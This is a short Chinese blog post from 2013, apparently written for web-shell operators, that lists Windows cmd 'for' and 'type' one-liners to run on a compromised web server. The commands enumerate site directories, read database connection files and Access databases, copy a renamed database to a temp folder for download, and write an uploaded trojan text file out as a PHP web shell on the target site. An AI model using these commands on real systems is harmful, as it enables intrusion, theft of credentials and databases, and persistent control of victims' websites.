for命令跨目录 读文件 写文件

/c for /d %i in (D:/VirtualHost/hackqing/www/*) do @echo %i  //列目录
/c for /r D:/VirtualHost/hackqing/www/ %i in (*.*) do @echo %i  //浏览目录
/c for /f %c in (D:\VirtualHost\hackqing\www\data.asp) do @echo %c  //读取文件
/c for /f %c in (D:\VirtualHost\hackqing\www\hackqing.mdb) do @echo %c //读取Access

数据库

for /r d:\wwwroot\web\chouwazi.com\ %i in (*.asp) do @echo %i >>c:\windows\temp\1.txt 是把d:\wwwroot\web\目录下所有asp文件列出来 ,然后保存在c:\windows\temp\下的1.txt


for /d %i in (d:\wwwroot\web\*) do @echo %i 这句是显示d:\wwwroot\web 下所有文件,包括文件夹。


for /r d:\wwwroot\web\ %i in (*.*) do @echo %i >>d:\wwwroot\web1\1.txt *.*在DOS下是所有的意思 也就是说显示d:\wwwroot\web1\所有文件,然后保存在d:\wwwroot\web1\1.txt *.*为任意后缀名,如果改成(*.exe)会把目录与下面的子目录的全部EXE文件列出


for /f %c in (d:\wwwroot\web\coon.asp) do @echo %c 查看coon.ASP文件内容


for /d %i in (???) do @echo %i 把当前路径下文件夹的名字只有1-3个字母的打出来


type F:\VIP\qq1369\database\#Collection.resx echo >>c:\windows\temp\1.mdb 通过for或者type读取对方的数据库配置文件,但数据库修改了后缀名,例如为.resx 使我们不能下载,这时用type命令把数据库复制到c:\windows\temp\下面,然后下载!


for /r F:\chouwazi.com\ %i in (*) do @echo %i 列出所有F:\chouwazi.com\目录下的文件


for /r d:\ %i in (2002910021.jpg) do @echo %i 利用此命令可以搜索D:\下的2002910021.jpg图片所在目录。
 
for /f %c in (D:\VirtualHost\hackqing\www\UserFiles\File\xiaoma.txt ) do @echo %c >> D:\VirtualHost\hackqing\www\5.php 将上传好的txt马输出到目标网站 注 空格会转译  将空格换成了换行

posted on 2013-10-03 23:41  =_=!  阅读(376)  评论(0编辑  收藏  举报

导航